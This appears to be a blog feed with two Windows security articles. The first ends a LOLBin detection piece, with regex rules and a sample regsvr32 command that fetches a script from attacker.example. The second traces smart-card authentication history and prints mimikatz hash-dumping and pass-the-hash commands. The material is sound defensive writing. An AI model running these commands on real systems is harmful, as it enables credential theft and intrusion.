const RULES = [ { name: 'Squiblydoo (regsvr32)', parent: /(cmd|powershell|wscript|cscript|wmiprvse|winword|excel|outlook)\.exe$/i, child: /regsvr32\.exe$/i, args: /\/i:https?:/i }, { name: 'Mshta remote', parent: /(cmd|powershell|outlook|winword|excel)\.exe$/i, child: /mshta\.exe$/i, args: /(https?:|javascript:|vbscript:)/i }, { name: 'Certutil download', parent: /./i, child: /certutil\.exe$/i, args: /-urlcache.+-f\s+https?:/i }, { name: 'Bitsadmin transfer', parent: /./i, child: /bitsadmin\.exe$/i, args: /\/transfer\s+/i }, { name: 'Msbuild inline', parent: /(cmd|powershell|wscript|cscript)\.exe$/i, child: /msbuild\.exe$/i, args: /\.(csproj|xml|build)\b/i }, { name: 'InstallUtil /U', parent: /(cmd|powershell)\.exe$/i, child: /installutil\.exe$/i, args: /\/u\s+/i }, { name: 'Workflow.Compiler chain',parent: /.*/i, child: /(microsoft\.workflow\.compiler|wfc)\.exe$/i, args: /.+/i }, { name: 'Rundll32 COM', parent: /(cmd|powershell|wscript|cscript|winword|excel)\.exe$/i, child: /rundll32\.exe$/i, args: /(javascript:|url\.dll,fileprotocolhandler|shell32\.dll,shellexec_rundll)/i } ];

const event = { parentImage: 'C:\\Windows\\System32\\cmd.exe', image: 'C:\\Windows\\System32\\regsvr32.exe', commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll' }; console.log('Matched rules:', evaluate(event)); `}

For organizations operating under FedRAMP High or CMMC L3, the App Control for Business deployment is not optional. The controls that map to NIST SP 800-53 Rev. 5 controls AC-3 (access enforcement) and CM-7 (least functionality) [@nist-800-53-r5] effectively require a kernel-enforced application allow-list, and the Recommended Block Rules deny list is the published Microsoft baseline. The deployment work in step 1 of the playbook is therefore a compliance prerequisite as well as a security control. After deploying an App Control policy in audit mode, validate that the policy is loaded with `CiTool.exe -lp` on Windows 11 22H2+. Audit-mode block events appear in the *Microsoft-Windows-CodeIntegrity/Operational* event log as Event ID 3076 (would-block) and *AppLocker/MSI and Script* event log as Event ID 8003 (audit). Run a known-benign workflow for two weeks and review the would-block events before flipping the policy to enforce.

The playbook covers the controls Microsoft and the community ship today. The final pass is the set of misconceptions that survive even after the playbook: the FAQ.

12. Frequently Asked Questions and Closing

The structural argument leaves a small number of recurring questions that even an experienced Windows defender asks the first time they read the LOLBAS catalog end to end. The seven below are the ones that matter most.

No. An Authenticode signature is immutable per signed file: once a file is signed and shipped, the signature travels with the bytes forever. Revocation does not work by removing the signature. It works by adding the binary to a deny list that the loader checks alongside the signature. That deny list is the App Control Recommended Block Rules XML [@ms-bypass-rules]. There is no global mechanism by which Microsoft can retroactively "unsign" a binary that already exists on customer disks, because the binary's bytes have not changed. Because PowerShell Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103) [@ms-ps-logging] together constitute Microsoft's specific answer for PowerShell. The strategy is *instrument deeply, do not deny*. For the rest of the LOLBin catalog the strategy is *deny when feasible, detect otherwise*. The choice is made one binary at a time; no published Microsoft criterion explains when each applies. PowerShell is the only Microsoft-shipped example of the *instrument* strategy applied at full depth. Partially, and only on eligible endpoints (clean-installed Windows 11 22H2 or later, with sufficient device telemetry to keep SAC in *enforce* mode). SAC explicitly delegates LOLBin handling to the App Control Recommended Block Rules deny list -- the Microsoft Learn SAC overview page contains the verbatim sentence pointing administrators at *Application Control for Windows* for the LOLBin list [@ms-sac-overview]. SAC's enforcement model is reputation-and-AI, not deny-list. It silently disables itself on insufficient signal. Until recently the only fix was to reinstall Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support], but the silent disable itself remains (see Section 10). Yes. As of May 26, 2026, the repository is receiving regular pull requests, has 8,567 stars and 1,135 forks per the GitHub API [@lolbas-org-api], and the editorial maintainers (Moe, Bayne, Richard, Spehn, Somerville, Beukema, Hernandez) are actively reviewing submissions. The catalog has grown from 130 binaries at the original 2018 founding to 207 in the May 2026 enumeration. New entries arrive every few weeks. Yes. The LOLDrivers project at `loldrivers.io` [@loldrivers] catalogs vulnerable signed kernel drivers -- the driver-class analogue of LOLBAS. Microsoft's own Vulnerable Driver Blocklist is enabled by default when HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. GTFOBins at `gtfobins.github.io` [@gtfobins] is the Unix analogue, cataloging vendor-shipped utilities on Linux and BSD with attacker-useful side effects. The three projects share the same conceptual move applied to different trust surfaces. No. The LOLBAS README itself attributes the project's foundational talk to Oddvar Moe's *#LOLBins -- Nothing to LOL about!* at DerbyCon 8 in October 2018 [@youtube-moe-lolbins] [@derbycon8-moe]. The 2017 BlueHat IL talk by Matt Graeber and Casey Smith [@bluehat-il-mirror] is one earlier intellectual ancestor, and the canonical *misplaced trust* framing was named the following year in Matt Graeber and Lee Christensen's *Subverting Trust in Windows* at TROOPERS 2018 [@specterops-subverting-trust]; both predate the LOLBAS catalog and neither is the project's founding event. Several secondary sources conflate the talks; the primary attribution chain is the LOLBAS README. Merge the App Control Recommended Block Rules XML into a managed App Control base policy and roll it out in audit mode for two to four weeks before flipping to enforce [@ms-bypass-rules]. The audit-mode telemetry surfaces the legitimate-but-rare workflows that would break under enforce; the enforce-mode policy then denies roughly 40 of the highest-impact LOLBins by default. Given the Cybereason Q3 2025 finding that 17 percent of investigations involved LOLBins [@cybereason-q3-2025], the effort pays for itself within the first quarter after deployment.

Closing

Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the signature trust axis is orthogonal to the behavior trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith's Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft's App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.

The honest defender's posture is therefore not to ask when will Microsoft fix this? but how thin can the layered SOTA make the residual?. The answer in 2026 is thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.

The Card That Wasn't a Card: How Windows Authentication Outgrew the Smart Card Metaphor

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**The Windows smart card story is the story of a metaphor.** Roland Moreno's 1974 "card with a secret" became Windows 2000's `SCardSvr.exe`, then Windows 8's TPM Virtual Smart Card (a software card with the same PC/SC interface), then Windows Hello for Business (which threw the card edge away and talks to the TPM directly), then FIDO2 (which added the origin binding the card was never designed for). The cryptographic primitive -- a non-exportable asymmetric key under a local gesture -- survives every transition. The 2014 disclosure that smart-card-required accounts still mint a harvestable NTLM hash is closed not by any change to the card but by Microsoft's 2024-2026 NTLM removal plan. The card was always cryptographically sound; the protection terminated at the act of signing.

1. A Smart Card Login That Mints an NTLM Hash

Picture May 2014. A Department of Defense contractor pushes her Common Access Card into a Windows 7 workstation, types a six-digit PIN, and watches the lock screen melt into her desktop. The RSA-2048 private key that just signed her Kerberos pre-authentication blob lives inside a tamper-resistant secure element she cannot extract from the card. The cryptography is excellent. Three hours later, an attacker on the same network owns her domain account without ever touching the card [@dirteam-aorato] [@kb-2871997].

How is that even possible? Hold that question. The answer is the spine of this article.

The contractor here is a composite figure, not a documented incident. The mechanism (CAC + Windows 7, RSA-2048 signing inside the card, an NT hash recoverable from LSASS three hours later) is the one Aorato disclosed in 2014 [@dirteam-aorato] and Microsoft documented in KB 2871997 [@kb-2871997]. The scenario is faithful to the published attack chain; the person and the office park are illustrative.

The protocol that ran when she logged in is PKINIT, defined by RFC 4556 [@rfc-4556] and profiled for Windows in [MS-PKCA] [@ms-pkca]. PKINIT lets a Kerberos client present an X.509 certificate as pre-authentication for the Authentication Service Request (AS-REQ), with a digital signature proving possession of the matching private key. In a Windows smart card logon the signing happens inside the card. The Microsoft Smart Card Key Storage Provider hands the card a hash; the card returns a signed AuthPack containing a PKAuthenticator (timestamp, nonce, paChecksum) and Diffie-Hellman parameters; that signed AuthPack rides in the PA-PK-AS-REQ pre-authentication data of the AS-REQ [@rfc-4556] [@ms-pkca].

So far, so good. The Key Distribution Center (KDC) verifies the signature, validates the certificate chain, mints a Ticket-Granting Ticket (TGT), and returns it. Our contractor sees her desktop.

But the KDC has a second job she does not know about. Her account is flagged "smart card required for interactive logon," so she has no password. Windows must still authenticate her to a legacy SMB1 server or any network application that speaks only NTLM. The clean answer would be "it cannot." The answer Microsoft shipped in Windows 2000 is: the KDC silently maintains an NTLM-equivalent secondary credential for every smart-card-only user, rotating it at logon, so legacy services keep working [@kb-2871997] [@msrc-kb-2871997].

That secondary credential is an NT hash. Once her session is live, an NT hash sits in the Local Security Authority Subsystem (LSASS) memory of every machine she touches. The smart card never sees it. The card cannot police it. It is sixteen bytes of MD4 output that the OS minted around the cryptographic operation the card refused to delegate.

A non-NTLM-derived NT hash that Windows maintains for accounts configured to log on with a smart card or other non-password credential, so that legacy NTLM-accepting services (SMB1, pre-Windows-2000 applications, some printers) continue to authenticate the user. The hash is computed from a random secret, not the card key, and is rotated by the KDC. From a pass-the-hash attacker's perspective, it is indistinguishable from a password-derived hash and equally replayable.

Three hours later, an attacker who has phished a privileged helpdesk account runs sekurlsa::logonpasswords from a copy of mimikatz [@mimikatz-gh] against the LSASS process on a server the contractor logged into earlier that day. The output looks like NTLM : a1b2c3.... The attacker pipes that NT hash into a pass-the-hash against any NTLM-accepting service in the forest. Because RFC 4757 [@rfc-4757] makes the RC4-HMAC Kerberos long-term key identical to the NT hash, the attacker can also forge Kerberos pre-authentication for the smart-card-required account and request its TGT. The card sat in a reader the attacker never touched. None of that mattered.

This is the inversion the article exists to explain. The card protected the key. The card did not, and could not, protect the identity. Microsoft documented the gap on May 13, 2014 as KB 2871997, "Update to improve credentials protection and management" [@kb-2871997]; the Microsoft Security Response Center followed with a blog overview of the threat model and the defence-in-depth response [@msrc-kb-2871997]. The disclosure came from Tal Be'ery and his team at Aorato, a Tel Aviv security startup Microsoft would acquire six months later. The period-accurate operator analysis lives in Sander Berkouwer's July 15, 2014 writeup, cited here because the original Aorato post is offline [@dirteam-aorato].

How did Windows arrive at an architecture where a tamper-resistant cryptographic token could leave the user's identity wide open? To answer that we go back to a 1974 patent in Paris.

2. How Cards Got a Chip

Roland Moreno was twenty-nine when he filed his first smart-card patent family in 1974. A self-taught Parisian, a former pinball-machine fixer and humorist who had washed out of the Sorbonne, he wired an off-the-shelf microchip to a ring of contacts on a small plastic substrate and walked the result over to INPI, the French patent office. The patent family -- known in the secondary literature as carte a memoire -- did not invent the integrated circuit, the credit-card form factor, or even the idea of embedding silicon in plastic. What Moreno added was a property: the card holds a secret the cardholder cannot extract [@wp-moreno] [@wp-smart-card].

That property is the entire story.

Helmut Groettrup, a West German engineer, got there first. He filed German patents DE1574074 and DE1574075 in February 1967 for a tamper-proof identification switch based on a semiconductor device, and added a joint Austrian filing with Juergen Dethloff in September 1968 [@bmpos-history] [@wp-smart-card]. The standard French historiography credits Moreno with the secured-memory refinement rather than the form factor. The inventor question depends on which property you treat as load-bearing.

Three other people belong in this section. In 1977 Michel Ugon, an engineer at Honeywell Bull's CP8 division in France, built the first microprocessor smart card -- a card with a CPU on it, not just memory. In 1978 Bull filed the SPOM patent that collapsed CPU and EEPROM onto one chip, the architectural change that made mass production tractable [@bmpos-history] [@cnam-pdf]. And from 1987 to 1995 the International Organization for Standardization froze the card edge into a vendor-neutral wire format with the four parts of ISO/IEC 7816 [@wp-smart-card]: physical characteristics, electrical and transmission protocols, and -- the part that would matter most for Windows -- the command set.

The international standard for contact smart cards, in four parts that interest software architects: Part 1 covers physical characteristics, Part 3 covers electrical interface and the T=0 and T=1 transmission protocols, and Part 4 covers the organisation, security, and command set for interchange. ISO/IEC 7816-4:2020 is the current edition of Part 4. Application Protocol Data Unit. The request/response unit a host application exchanges with a smart card. The command APDU starts with a four-byte header `CLA INS P1 P2` (class, instruction, two parameter bytes), followed by an optional length byte `Lc` and `Lc` bytes of data, and an optional expected-response-length byte `Le`. The response APDU is `[data] SW1 SW2`, where the two status word bytes encode success or a card-side error.

A worked APDU example makes this concrete. To select the PIV application on a smart card, a host sends 00 A4 04 00 0B A0 00 00 03 08 00 00 10 00 01 00. The first byte is CLA = 00 (interindustry class). The second is INS = A4 (SELECT). P1 = 04 indicates that the parameter is an application identifier. P2 = 00 selects the first occurrence. Lc = 0B says eleven data bytes follow, and those eleven bytes are the full PIV AID per NIST SP 800-73-4 [@sp-800-73-4-upd1]: nine bytes for the registered application identifier (A0 00 00 03 08 00 00 10 00) followed by the two-byte PIV application version identifier (the PIX, 01 00, per SP 800-73-4 Part 1 §2.2). The card replies with optional file control information and the status word 90 00, which means success. Every operation the Windows smart card stack performs decomposes, eventually, into a sequence of these short frames.

timeline title Card-as-authenticator timeline 1967-1968 : Groettrup and Dethloff file IC-on-card patent 1974 : Moreno files carte a memoire family 1977-1978 : Ugon and Bull build CPU smart card and SPOM 1987-1995 : ISO/IEC 7816 parts 1, 3, 4 published 1996 : PC/SC Workgroup founded 2000 : Windows 2000 ships SCardSvr.exe 2007 : Microsoft Base Smart Card CSP and minidriver model 2011 : Windows 7 SP1 inbox PIV/GIDS minidriver 2012 : Windows 8 ships Virtual Smart Card 2015 : Windows Hello announced 2024 : NTLMv1 removed in Windows 11 24H2

By 1996 the card edge was settled. Three thousand-odd APDU specifications and proprietary applets later, the only remaining question was: how does a personal computer talk to a card reader? Smart card readers lived in two operationally incompatible worlds, the bank-teller world and the workstation world, and the workstation world was held back by a vendor-driver swamp. So in 1996 a consortium called the PC/SC Workgroup formed. The contemporary record names Microsoft, IBM, Hewlett-Packard, Sun Microsystems, Siemens Nixdorf, and Bull as founders, with Schlumberger and other card vendors joining shortly after [@wp-pcsc] [@sc-architecture].

The PC/SC specification series ("Interoperability Specification for ICCs and Personal Computer Systems") names exactly the right abstractions: a Smart Card Resource Manager that brokers access to attached readers, an Interface Device Handler that abstracts reader hardware, and a Service Provider that exposes a uniform programming surface to applications [@sc-architecture]. A personal computer talks to a smart card by speaking PC/SC, in user-mode, through whatever service the OS provides.

Personal Computer/Smart Card. The 1996 industry consortium and its specification series that define how a smart card reader is exposed to a desktop operating system. PC/SC factors the stack into reader hardware (Interface Device), an Interface Device Handler driver, a Smart Card Resource Manager (a system service brokering access), and a Service Provider exposing a uniform API to applications.

Microsoft answered the implementation question in February 2000 with SCardSvr.exe, the Smart Cards for Windows service that shipped in Windows 2000 [@sc-architecture]. And immediately created a new problem: every card vendor still wanted to own the cryptographic provider.

3. From SCardSvr to Base CSP: Eleven Years to a Vendor-Neutral Stack

Windows 2000 shipped smart card logon as a vendor-neutral primitive. Within months, the operational reality bit. Every card vendor shipped a different CryptoAPI plug-in, every plug-in needed installing per machine, per card, sometimes per user.

Walk down the stack. At the bottom is the reader, attached over USB or, in early-2000s deployments, an internal serial port. Above the reader is the Interface Device Handler driver supplied by the reader vendor. Above the driver is SCardSvr, Microsoft's Smart Card Resource Manager service. SCardSvr exposes a user-mode API called WinSCard: SCardEstablishContext, SCardConnect, SCardTransmit, SCardDisconnect [@winscard-api]. WinSCard is the C-level entry into PC/SC; an application that wants to send raw APDUs to a card uses WinSCard directly [@sc-architecture].

The Windows user-mode API surface for PC/SC. Canonical entry points include `SCardEstablishContext`, `SCardListReaders`, `SCardConnect`, `SCardTransmit`, and `SCardDisconnect`. An application sending raw APDUs to a smart card uses WinSCard; higher-level Windows components (Kerberos client, certificate enrolment, the lock-screen credential provider) reach the card indirectly through the Cryptographic Service Provider or Key Storage Provider layers.

Cryptographic clients do not want to write APDU sequences. They want to call CryptSignHash or NCryptSignHash and have a signature appear. Translating those API calls into the card's APDU command set is the job of a Cryptographic Service Provider in the CryptoAPI 1.0 world and a Key Storage Provider in the CNG (Cryptography Next Generation) world. From 1996 to 2007, almost every card vendor wrote its own CSP. The Schlumberger CSP. The Gemalto CSP. The Axalto CSP. The ActivIdentity CSP. Each was an in-process DLL that talked to the card through WinSCard, applied vendor-specific quirks, and exposed a CSP interface to Windows.

A plug-in for CryptoAPI 1.0 that provides cryptographic services (key generation, signing, hashing, key storage) to applications. CryptoAPI loads a CSP in-process. For smart cards, the CSP translates CryptoAPI calls into card-specific APDUs through WinSCard. Microsoft Base Smart Card CSP, shipped in 2007, replaced the per-vendor CSP with a single CSP that delegated card-specific behaviour to a much smaller minidriver. The CNG-era plug-in that provides key storage and asymmetric cryptographic operations. CNG separates algorithm providers (BCrypt: hashing, symmetric, signature primitives) from key storage providers (NCrypt: key lifecycle, key-protected operations). The Microsoft Smart Card Key Storage Provider is the CNG-side path for smart card and Virtual Smart Card keys; the Microsoft Platform Crypto Provider is its sibling that talks to the TPM directly.

The architecture had two problems by 2003. First, an N x M combinatorial. Every new card vendor multiplied integration cost for every cryptographic application, and vice versa. Large enterprises ran two or three CSPs per workstation; subtle bugs in signature padding or PIN caching only surfaced when an application built for vendor A's CSP met a card configured for vendor B's. Second, a security problem: each CSP ran in-process with every CryptoAPI client, so a buggy or compromised third-party CSP could reach critical OS components.

Microsoft's answer was the Smart Card Minidriver Specification, finalised around the Vista launch in 2006-2007. Microsoft would ship one CSP -- the Microsoft Base Smart Card CSP -- containing the cryptographic state machine common to all PIV-style cards. Per-card behaviour would live in a much smaller DLL called a minidriver, loaded by the Base CSP when it recognised the card. The specification, dn631754, currently maintained at v7.07, says exactly this: "The Microsoft Smart Card Base CSP and KSP is a refinement of the architecture that separates commonly needed CAPI-based CSP and CNG-based KSP functionality, respectively, from the implementation details that must change for every card vendor" [@sc-minidrivers] [@sc-minidriver-spec].

The CNG-side sibling, the Microsoft Smart Card Key Storage Provider, plugs into the same minidriver layer. CNG is the post-Vista cryptographic platform: BCrypt for algorithm primitives, NCrypt for key lifecycle and storage [@cng-storage]. The Smart Card KSP supports DH 512-4096, ECDH P256/P384/P521, ECDSA P256/P384/P521, and RSA 512-16384 [@cng-ksp-list]. Both the legacy Base CSP and the modern KSP route through the same minidriver, so a card vendor writes one DLL and gets compatibility with both CryptoAPI 1.0 and CNG applications.

flowchart TD A[Reader hardware] --> B[IFD driver] B --> C[SCardSvr Smart Card Resource Manager] C --> D[WinSCard user-mode API] D --> E[Microsoft Base Smart Card CSP and Smart Card KSP] E --> F[Card minidriver DLL] F --> G[ISO 7816-4 APDU on the card] H[CryptoAPI 1.0 client] --> E I[CNG NCrypt client] --> E

CryptoAPI's CryptSignHash walks the Base CSP; CNG's NCryptSignHash walks the Smart Card KSP; both end up issuing the same APDU sequence through the same minidriver to the same card.

Property	CryptoAPI Base CSP	CNG Smart Card KSP
Era	CryptoAPI 1.0, pre-Vista to present (legacy support)	CNG, Vista onward
Entry point	`CryptAcquireContext`, `CryptSignHash`	`NCryptOpenStorageProvider`, `NCryptSignHash`
Implementation DLL	`basecsp.dll`	`microsoft smart card key storage provider` registered through `ncrypt.dll`
Per-card extension	Smart card minidriver	Same smart card minidriver
Algorithm range	RSA, basic ECC	RSA, full Suite B ECC, large key ranges

By 2008 the architecture was elegant. But every PIV card still needed a minidriver acquired from somewhere -- a CD, a vendor ftp site, an enterprise distribution share. And in 2004 the US federal government was about to make the smart card mandatory for several million people who could not wait for a vendor disk.

4. PIV, GIDS, CAC, and the Inbox Driver That Removed the Last Install Step

On August 27, 2004, President George W. Bush signed Homeland Security Presidential Directive 12, a one-page policy with one operational sentence: there shall be "a mandatory, government-wide standard for secure and reliable forms of identification issued by the federal government to its employees and contractors" [@hspd-12]. HSPD-12 did not specify how. It pointed at the National Institute of Standards and Technology and said "make it so."

NIST's response was FIPS 201, the Personal Identity Verification standard, first published in February 2005. The current revision, FIPS 201-3, was published in January 2022, superseding FIPS 201-2 from 2013 [@fips-201-3] [@fips-201-3-pdf]. Where FIPS 201 specifies the credential -- what a PIV card is, biometrically, biographically, visually -- the companion NIST SP 800-73 specifies the card-edge interface: file system, data objects, APDU command set [@sp-800-73-4-upd1].

The US federal smart card identity credential defined by FIPS 201 and its companion NIST Special Publications. FIPS 201 defines what a PIV credential is; NIST SP 800-73 defines the card-edge interface (file structure, data objects, APDU command set) so any host can talk to any PIV-compliant card; SP 800-78 covers cryptographic algorithms; SP 800-76 covers biometrics; SP 800-79 covers card issuer accreditation.

The numbers are striking. NIST reports "close to five million PIV Cards today provide multifactor authentication to federal IT resources and facilities" [@nist-piv-home]. The largest single cohort is the DoD Common Access Card (CAC), which by 2002 numbers had reached more than one million card readers across more than 1,000 issuance sites in more than 25 countries [@wp-cac].

Microsoft, watching from Redmond, faced two choices: negotiate a separate minidriver for the GSC-IS card-edge applet some federal agencies were using, or ship an inbox class minidriver that auto-discovered PIV-compliant cards out of the box -- and for completeness, supported a Microsoft-defined alternative called the Generic Identity Device Specification.

GIDS, Microsoft's complementary card-edge profile, shipped v1.0 in April 2010 and v2.0 in October 2012 [@gids-spec]. It was a profile for card vendors and TPM integrators who wanted a Microsoft-blessed alternative to PIV, and it would become important to Windows 8's Virtual Smart Card design.

The Generic Identity Device Specification, a Microsoft-published smart card profile for identity credentials. GIDS v1.0 published April 2010; v2.0 published October 2012. GIDS coexists with PIV at the inbox minidriver layer: Windows' inbox `msclmd.dll` recognises both, allowing zero-install integration for any card that implements either applet.

The inbox driver shipped in Windows 7 SP1 in February 2011. Microsoft Learn is direct: "Windows provides an inbox generic class minidriver that supports Personal Identity Verification (PIV)-compliant smart cards and cards that implement the Generic Identity Device Specification (GIDS) card edge" [@inbox-minidriver]. The auto-discovery sequence is sequential: msclmd.dll issues a SELECT for the PIV AID; if the card returns 90 00, Windows treats it as PIV. If the PIV select fails, the driver tries the GIDS AID; if that succeeds, Windows treats the card as GIDS. If both selects return a "neither-AID-exists" status, Windows still proceeds as if the card were GIDS, and the inbox driver continues to handle it. Only an unknown SELECT error makes the inbox driver decline and Windows fall back to a vendor minidriver [@inbox-minidriver]. The effect: any PIV-compliant card (CAC, Yubico YubiKey 5 [@yubico-piv], any FIPS 201-compliant federal credential) worked on a stock Windows 7 SP1 install with zero additional software.

Before Windows 7 SP1, deploying a CAC to a workstation required an out-of-band CSP install: a vendor disk, an enterprise distribution share, or a manual download. Some classified networks could not reach the vendor distribution channels at all. The inbox `msclmd.dll` removed that friction. A workstation that had never been online could authenticate a CAC user on first boot, provided it was joined to a domain whose KDC chain it could reach for PKINIT validation. Many DoD operational deployments lived inside the airgap, and many of them only became deployable at scale once the inbox minidriver had landed.

With the card-edge problem solved and the install problem closed, what remained was the protocol Windows logon would use. That protocol is PKINIT.

Public Key Cryptography for Initial Authentication in Kerberos. Specified by [RFC 4556](#) [@rfc-4556] and profiled for Windows by `[MS-PKCA]` [@ms-pkca]. PKINIT lets a Kerberos client present an X.509 certificate, and prove possession of the private key, as pre-authentication for the Authentication Service Request (AS-REQ), instead of a password-derived shared secret. The Windows AS Exchange remains otherwise unchanged: the client receives a TGT encrypted with a session key established under the public-key exchange. The PKINIT structure that carries the client's proof of possession. It contains a `PKAuthenticator` (cusec, ctime, nonce, paChecksum) and Diffie-Hellman parameters. The client signs the `AuthPack` with the private key corresponding to its certificate, then embeds the signed structure in the `PA-PK-AS-REQ` pre-authentication data of the Kerberos AS-REQ. The granularity matters: the signature covers the `AuthPack`, not the AS-REQ as a whole.

In a Windows smart card logon the path from PIN to TGT runs through eight named components. Walk it once and the rest of the article becomes legible.

sequenceDiagram participant U as User at lock screen participant CP as Credential Provider participant LSA as LSASS Kerberos client participant KSP as Microsoft Smart Card KSP participant MD as Minidriver participant CARD as Smart card participant KDC as Domain Controller KDC

U->>CP: Insert card, type PIN
CP->>LSA: Logon attempt with PIV credential
LSA->>KSP: NCryptSignHash on AuthPack hash
KSP->>MD: Card-specific sign request
MD->>CARD: VERIFY PIN, then SIGN APDU
CARD-->>MD: Signed AuthPack bytes, SW=9000
MD-->>KSP: Signed AuthPack
KSP-->>LSA: Signed AuthPack
LSA->>KDC: AS-REQ with PA-PK-AS-REQ pre-auth
KDC->>KDC: Verify signature, cert chain, freshness
KDC-->>LSA: AS-REP with TGT
LSA-->>CP: Logon success, session keys cached
CP-->>U: Desktop

Notice what the card sees and what it does not. It sees a hash to sign and a PIN to verify. It does not see "I am authenticating to KDC DC01.contoso.local for user jdoe." A PIV card is a signing oracle. The relying party identity, the freshness, the replay window, the binding of signature to context: all of that lives in the protocol above the card, not in the card itself. We come back to this in section 8.

Key idea: The cryptographic primitive at the centre of the smart card metaphor -- a non-exportable asymmetric key, bound to a tamper-resistant element, gated by a local gesture -- is the longest-lived object in this lineage. The interface around the primitive (PC/SC, CryptoAPI, CNG, NCrypt-direct, WebAuthn) is what changes every generation.

By 2013 the cryptographic story was excellent. PKINIT was a clean Kerberos AS exchange. The card protected the key. The KDC issued a TGT. Then, in a few months in 2014, one researcher in Tel Aviv showed that the protection ended at the very moment of signing.

5. KB2871997 and the NTLM Secondary Credential

Tal Be'ery, then Vice President of Research at Aorato, sat down in early 2014 with a question that should have had a boring answer. If an Active Directory account is flagged "smart card required for interactive logon," and the user has no password, is the account immune to pass-the-hash?

The answer is no. Aorato's original disclosure post is offline; Microsoft acquired Aorato in November 2014 and the research became the foundation of what is now Microsoft Defender for Identity. The period-accurate operator analysis that survives in public is Sander Berkouwer's July 15, 2014 dirteam.com writeup, cited here in lieu of the dead original [@dirteam-aorato].

The attack is built from three off-the-shelf parts. The first is the NTLM secondary credential we met in section 1: every smart-card-only account in Active Directory has a usable NT hash on the KDC, maintained for legacy compatibility. The second is the harvesting tool. Benjamin Delpy's mimikatz had reached its 2.0-alpha milestone in April 2014; the README documents sekurlsa::logonpasswords extracting NT hashes from LSASS, plus sekurlsa::pth and golden-ticket forgery for replay [@mimikatz-gh]. The third is the cryptographic identity that makes hashes Kerberos-relevant. RFC 4757 section 2 establishes that the RC4-HMAC long-term key in Kerberos is the NT hash itself, "for compatibility reasons" [@rfc-4757] [@dirteam-aorato].

Compose those three parts. An attacker with administrative footing on any machine the user has touched runs sekurlsa::logonpasswords against LSASS and gets the NT hash. By RFC 4757 the hash is a usable Kerberos RC4-HMAC pre-authentication key for the user; pre-auth is a function of the long-term key, so the attacker can request a TGT. Or they replay the hash directly via SMB. The card sits, intact, in the user's reader. Nothing about it has changed.

The smart card's tamper-resistance was real. But the cryptographic guarantee terminated at the act of signing -- not at the authentication outcome.

This is the article's central inversion. The card was right. The system was wrong. The card protected the key; the OS minted credentials around that key the card could not police; the protection terminated at the signing operation; the identity did not.

Given an interactive shell as Local System or a debug-privileged user, the harvest is two commands:

privilege::debug
sekurlsa::logonpasswords

sekurlsa::logonpasswords walks LSASS sessions and prints any cached NT hashes, including the rotated secondary credential for smart-card-required users. The pass-the-hash replay is one more:

sekurlsa::pth /user:JaneDoe /domain:CONTOSO /ntlm:a1b2c3...

This launches a process whose Kerberos ticket cache accepts the supplied NT hash as the RC4-HMAC pre-auth key for the named principal. Any tool spawned from that process can request service tickets for the user. The smart card need not be in any reader on any machine on the network. KB 2871997 and the Pass-the-Hash mitigations (KB 2984972, 2984976, 2984981) addressed this defence-in-depth; NTLM removal addresses it structurally.

Microsoft's response shipped on May 13, 2014 as Security Advisory KB 2871997, "Update to improve credentials protection and management." It is mostly a registry change and a recommended Group Policy: set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\TokenLeakDetectDelaySecs to 30 seconds [@kb-2871997]. The June 2014 MSRC blog added more context, especially around a new security group called Protected Users [@msrc-kb-2871997].

Protected Users, added to Windows Server 2012 R2 domains and Windows 8.1 clients, blocks NTLM, blocks DES and RC4 in Kerberos pre-authentication, blocks both forms of delegation, and prevents offline sign-in caching [@protected-users]. Add a privileged account to Protected Users and you force it off the RC4-HMAC code path. An attacker who steals the NT hash no longer has a usable Kerberos pre-auth key, even though the hash itself is still recoverable.

Microsoft's later response was Credential Guard, which isolates credential material in a Virtualization-Based Security (VBS) container called LSAISO, separated from LSASS by a Hyper-V trust boundary. On Windows 11 22H2 and Server 2025, Credential Guard is enabled by default on domain-joined, non-DC systems that meet hardware requirements, protecting NTLM hashes, Kerberos TGTs, and stored domain credentials [@credential-guard].

Note: The KB 2871997 family (TokenLeakDetectDelaySecs, Protected Users, LSA Protection / RunAsPPL, Credential Guard later) is defence-in-depth. It makes hash theft harder, the harvested hash less universally useful, and lateral movement more visible. None of those measures removes the secondary NT hash itself. The structural fix is to remove NTLM. That work began in earnest with the 2023 "evolution of Windows authentication" announcement and reached its first hard milestone with the NTLMv1 removal in Windows 11 24H2 and Windows Server 2025 [@evolution-windows-auth] [@ntlmv1-removal].

Two sentences look identical but mean very different things: "the card protected the key" and "the system protected the user." The first is a statement about a piece of hardware and the cryptographic discipline of its operation; it was true in 1996, true in 2014, true today. The second is a statement about the authentication subsystem that uses the card. In 2014 it was false, and the falsehood had been present for fourteen years, hidden under the assumption that strong cryptography at the card edge guaranteed a corresponding strength of identity assertion. The 2014 disclosure was a forcing function for distinguishing the two. Every subsequent design (VSC, WHfB, FIDO2) can be evaluated by where it draws that line.

If the card alone could not deliver the protection, perhaps the right move was to throw away the physical card entirely. Microsoft had shipped exactly that experiment eighteen months earlier.

6. Virtual Smart Cards in Windows 8

